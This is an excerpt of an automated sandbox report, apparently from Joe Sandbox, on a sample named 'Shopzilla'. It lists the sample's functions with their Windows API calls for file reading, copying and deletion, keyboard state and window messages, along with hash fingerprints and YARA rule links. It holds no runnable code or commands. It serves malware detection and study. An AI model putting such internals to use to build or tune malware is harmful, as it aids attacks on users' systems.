Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d7249ae213d49fb3a214b5bb3b2a15bf3c0396259b9d68c1e563e7dbf2f75eee
Instruction ID: 0b791fb2ab5595713c4bd623eef38765e3107143ea05d3f635abea6cfa384a20
Opcode Fuzzy Hash: d7249ae213d49fb3a214b5bb3b2a15bf3c0396259b9d68c1e563e7dbf2f75eee
Instruction Fuzzy Hash: 562105B4508301DFDB24DF54C494B5ABBE1BF85304F0989ACF88A5B362D731E849CBA2

Function 00BB4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00BB3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00BB4276

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 93363e376f0b4d485be19421ac3811be67989aafdbd7c87403e13f277bf14997
Instruction ID: e7c96b3eb4b43a3bcf291d1bcd376cf2e42c7771c98eb8912a9856512996f060
Opcode Fuzzy Hash: 93363e376f0b4d485be19421ac3811be67989aafdbd7c87403e13f277bf14997
Instruction Fuzzy Hash: DA113A31210B019FD720CF59C580BA6B7F5FF88710F10C96DE8AA86A51D7B0E845EB60

Function 00BB1A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BB1A77

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: dd033a4b5f62ccebfd9eaf5dbbb8866036393a442bcaa3bfcd9f8478fa996b83
Instruction ID: 9ba4f91e177e294088beb3a03a0eac6107c36de70128de49db631bc4c2627d44
Opcode Fuzzy Hash: dd033a4b5f62ccebfd9eaf5dbbb8866036393a442bcaa3bfcd9f8478fa996b83
Instruction Fuzzy Hash: 8C01D672211701AFD3245F28DC02FB7BBE8DB447A0F50896EF56ACA1D1EA71F4408A90

Function 00C1473F Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00C1477C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: e885b5c7d0c8e379fe490c27f082a3d2acdb3c605b1bb4d401c4ad55a835f102
Instruction ID: 8848f298febc492a746f636083e39868667b50e5aa533538183c3f213e76708f
Opcode Fuzzy Hash: e885b5c7d0c8e379fe490c27f082a3d2acdb3c605b1bb4d401c4ad55a835f102
Instruction Fuzzy Hash: CFF03131618104AF9B14FB65D846D9F77F8EF46320B1041A9F4049B261DF71BD81D7A1

Function 00C07AEC Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00BC0F16: std::exception::exception.LIBCMT ref: 00BC0F4C
Part of subcall function 00BC0F16: __CxxThrowException@8.LIBCMT ref: 00BC0F61

_memset.LIBCMT ref: 00C07B21

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: e42b1121e6369a617172214c458a3cdaa519a43f438b417090ec007e3c826baf
Instruction ID: 62a1232443da853ac5aa05c28cec3ced623446c6a4061f94346f3f82a490c014
Opcode Fuzzy Hash: e42b1121e6369a617172214c458a3cdaa519a43f438b417090ec007e3c826baf
Instruction Fuzzy Hash: 9D01F674604204DFD325EF5CD441F06BBE5AF59310F24849EF5888B3A2DB72E841CB90

Function 00BB4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00BB4AA4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction ID: 9e563bdacad924f89839f9cf637b68c50f734dd7a3b69c1ee2d21ca6bdc00ff3
Opcode Fuzzy Hash: 0a4098fbca966de150df0e901f011b960a22b5df12848eeca8f12985b6aae40b
Instruction Fuzzy Hash: 72F085B6400208BFCF109F84DC00DEBBBB9EB85320F00419CF9045A221D272EA25DBA0

Function 00BB4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00BB27AF,?,00000001), ref: 00BB4A63

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: f35547a3d23bd880c7bcac15721744c15a8b6b280b9dc4015f1775506d34ef47
Instruction ID: 5466bed8aafd627dbba83cdc7325bfdc21546301c5644c0a0de9dabd014963d1
Opcode Fuzzy Hash: f35547a3d23bd880c7bcac15721744c15a8b6b280b9dc4015f1775506d34ef47
Instruction Fuzzy Hash: 4EF01571145701CFCB349F64E8908AABBF0FF143263208AAEE5D683612C7B1A884DF44

Function 00BB4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00BB4AD0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction ID: 625ff0b437bc7a1f25902a7a2d3f3633e5a3acb14801d3f3852939877438fecc
Opcode Fuzzy Hash: c46de0973e4316ba83ebc5d8e55475f12f35eb36bfefe38a98de0559b640b685
Instruction Fuzzy Hash: 59F0F87250020DFFDF05DF94C941EAABBB9FB14314F208589F9148B252D336EA61AB91

Function 00BC08F0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00BC090F

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: db7c38b17b3aa778dab70696606c8eec3017eab0a6672fed982bf0191cc85e14
Instruction ID: 6905edfa54c423843ff8f8d04d7056e9d8ac793d05723f7f3540fd5d92ea3272
Opcode Fuzzy Hash: db7c38b17b3aa778dab70696606c8eec3017eab0a6672fed982bf0191cc85e14
Instruction Fuzzy Hash: 99E08632A011285BC721D69C9C15FEEB7DDEB88690F0401F6FD09D7314D9605C8186D1

Function 00C04B85 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00C04B9E

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: f0d978d9eac8d76c646d24ade64423763e314790a1fd52a5da496ba4938d16b1
Instruction ID: 0e49a922a258b7b88631063a730ef1711cae9aa8ca46ea9bfd39c0b3e894d043
Opcode Fuzzy Hash: f0d978d9eac8d76c646d24ade64423763e314790a1fd52a5da496ba4938d16b1
Instruction Fuzzy Hash: B1D05EB291032C6BDB60E6A89C0DEFB7BACE744220F000AE17C9CC3101E9649D4586E0

Function 00C037BA Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C036B9: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00C037C6,00000000,00000000,?,00BF055B,00C56590,00000002,?,?), ref: 00C03737

WriteFile.KERNELBASE(00000000,?,?,?,00000000,00000000,00000000,?,00BF055B,00C56590,00000002,?,?,?,00000000), ref: 00C037D4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: d455cf58a6db38d25b71cdcac7546ba2f6e84ae7c3410f08e7e60c08344163d5
Instruction ID: 0eca341b6ac7e63ea4c012d46539cca213fa65557b6c64aa5ea2f0f88c896acc
Opcode Fuzzy Hash: d455cf58a6db38d25b71cdcac7546ba2f6e84ae7c3410f08e7e60c08344163d5
Instruction Fuzzy Hash: 2DE0B636410218BBDB20AF94D805B9AB7BDEB05320F10465AFE4096151DBB2AE64EBE5

Function 00BB42CF Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000000,00BE2EBB), ref: 00BB42EF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 01f1914b6bd95643c89cd6c518006eb860a0741a85c4cfd7aba244cbf26a69f9
Instruction ID: 558be22771fdc2f8ead66d28908ce2e4df5c21d78e1bb7705326840537f5cd3c
Opcode Fuzzy Hash: 01f1914b6bd95643c89cd6c518006eb860a0741a85c4cfd7aba244cbf26a69f9
Instruction Fuzzy Hash: F7E0BD79410B01CFC7314F1AE8044A6FBF8FFE13713214A6EE0E692660D3B0589AEB90

Function 00C03D64 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,00C03CEA,?,?,?), ref: 00C03D7A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: a18b7e850dec5fe7dd2eb19eb728bb399fde682364e7c80863276506f71950c6
Instruction ID: 3f90605bfc281d75f8bbc06f4fb21d5576099c809708b3530152dc2d9bb4c41a
Opcode Fuzzy Hash: a18b7e850dec5fe7dd2eb19eb728bb399fde682364e7c80863276506f71950c6
Instruction Fuzzy Hash: F3D0A7315E020CBBEF50DFA0CC06F69B7ACE701706F2002A4B904D90E0DA7669149795

Function 00BB42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00BF0666,00000000,00000000,00000000), ref: 00BB42BF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: cf6e438e6390f898bf19593307854e88e4e946c4a2c2637c830912840dfa7aee
Instruction ID: f2769669dd840e11cd513f53c865413ef301cea99f066ea155e287a23ad14d6f
Opcode Fuzzy Hash: cf6e438e6390f898bf19593307854e88e4e946c4a2c2637c830912840dfa7aee
Instruction Fuzzy Hash: 63D0C97565020CBFEB10CB80DC46FAEBBBCEB05710F200294FE04A6290E6B27E508B95

Function 00C04E59 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00C03A6B), ref: 00C04E5A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e0b809596a78df66469c20335421e68aedcc387fbf8f157fd7405a66802eaf87
Instruction ID: e554252078a9a3028794d6aee617b43b0aa3a6a7b6a96c12145f8cf143009035
Opcode Fuzzy Hash: e0b809596a78df66469c20335421e68aedcc387fbf8f157fd7405a66802eaf87
Instruction Fuzzy Hash: DEB092B401060046DD6C0A78991829E73086B827E9FF81B80D9B4858E282398D5BE610

Function 00BC53AB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00BC53B6

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 9a1ccdf9a04f428e617c230cf90913dfdfc957e892c3bc90894afa60940af919
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 5CB0927644024C77CE112A82EC02F493B599B806A8F408060FB0C18162A6B7B6A09689

Function 00C0D52B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00C0D6AF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b6c19b4c05dadd8740c26c46021601dd0ff7e72fc387e0c9886499c5bfd75550
Instruction ID: 1325d623b791de44eb0a738e583810aa1fd4fd8e61b438efc719c10fcc38e34e
Opcode Fuzzy Hash: b6c19b4c05dadd8740c26c46021601dd0ff7e72fc387e0c9886499c5bfd75550
Instruction Fuzzy Hash: 387182746083028FC714EF68C491AAEB7E4EF85314F444A6DF9968B2E1DB70EE45CB52

Function 00C0C0DD Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00C03E72: FindFirstFileW.KERNELBASE(?,?), ref: 00C03EE9
Part of subcall function 00C03E72: DeleteFileW.KERNEL32(?,?,?,?), ref: 00C03F39
Part of subcall function 00C03E72: FindNextFileW.KERNEL32(00000000,00000010), ref: 00C03F4A
Part of subcall function 00C03E72: FindClose.KERNEL32(00000000), ref: 00C03F61

GetLastError.KERNEL32 ref: 00C0C0FF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 0615804a5b2035fb1ba3e79cae59ef73e39018628b00c49d2de19c0d60e6d9a2
Instruction ID: a77a49d05c3bae69a4f7f57e20af9f99b4da934475a3573a258fc4bd59125c7a
Opcode Fuzzy Hash: 0615804a5b2035fb1ba3e79cae59ef73e39018628b00c49d2de19c0d60e6d9a2
Instruction Fuzzy Hash: A4F08C362102048FCB10EF59D854B6EB7E8AF88320F048499F94A8B392CBB4BD41CB90

Non-executed Functions

Function 00C2CEDF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00C2CF5A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C2CFB8
GetWindowLongW.USER32(?,000000F0), ref: 00C2CFF9
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C2D023
SendMessageW.USER32 ref: 00C2D04C
_wcsncpy.LIBCMT ref: 00C2D0B8
GetKeyState.USER32(00000011), ref: 00C2D0D9
GetKeyState.USER32(00000009), ref: 00C2D0E6
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00C2D0FC
GetKeyState.USER32(00000010), ref: 00C2D106
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00C2D12F
SendMessageW.USER32 ref: 00C2D156
SendMessageW.USER32(?,00001030,?,00C2B735), ref: 00C2D25A
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00C2D270
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00C2D283
SetCapture.USER32(?), ref: 00C2D28C
ClientToScreen.USER32(?,?), ref: 00C2D2F1
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00C2D2FE
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C2D318
ReleaseCapture.USER32 ref: 00C2D323
GetCursorPos.USER32(?), ref: 00C2D35D
ScreenToClient.USER32(?,?), ref: 00C2D36A
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C2D3C6
SendMessageW.USER32 ref: 00C2D3F4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C2D431
SendMessageW.USER32 ref: 00C2D460
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00C2D481
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00C2D490
GetCursorPos.USER32(?), ref: 00C2D4B0
ScreenToClient.USER32(?,?), ref: 00C2D4BD
GetParent.USER32(?), ref: 00C2D4DD
SendMessageW.USER32(?,00001012,00000000,?), ref: 00C2D546
SendMessageW.USER32 ref: 00C2D577
ClientToScreen.USER32(?,?), ref: 00C2D5D5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00C2D605
SendMessageW.USER32(?,00001111,00000000,?), ref: 00C2D62F
SendMessageW.USER32 ref: 00C2D652
ClientToScreen.USER32(?,?), ref: 00C2D6A4
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00C2D6D8

Part of subcall function 00BA29AB: GetWindowLongW.USER32(?,000000EB), ref: 00BA29BC

GetWindowLongW.USER32(?,000000F0), ref: 00C2D774

Strings

F, xrefs: 00C2D658
@GUI_DRAGID, xrefs: 00C2D2BF

Memory Dump Source

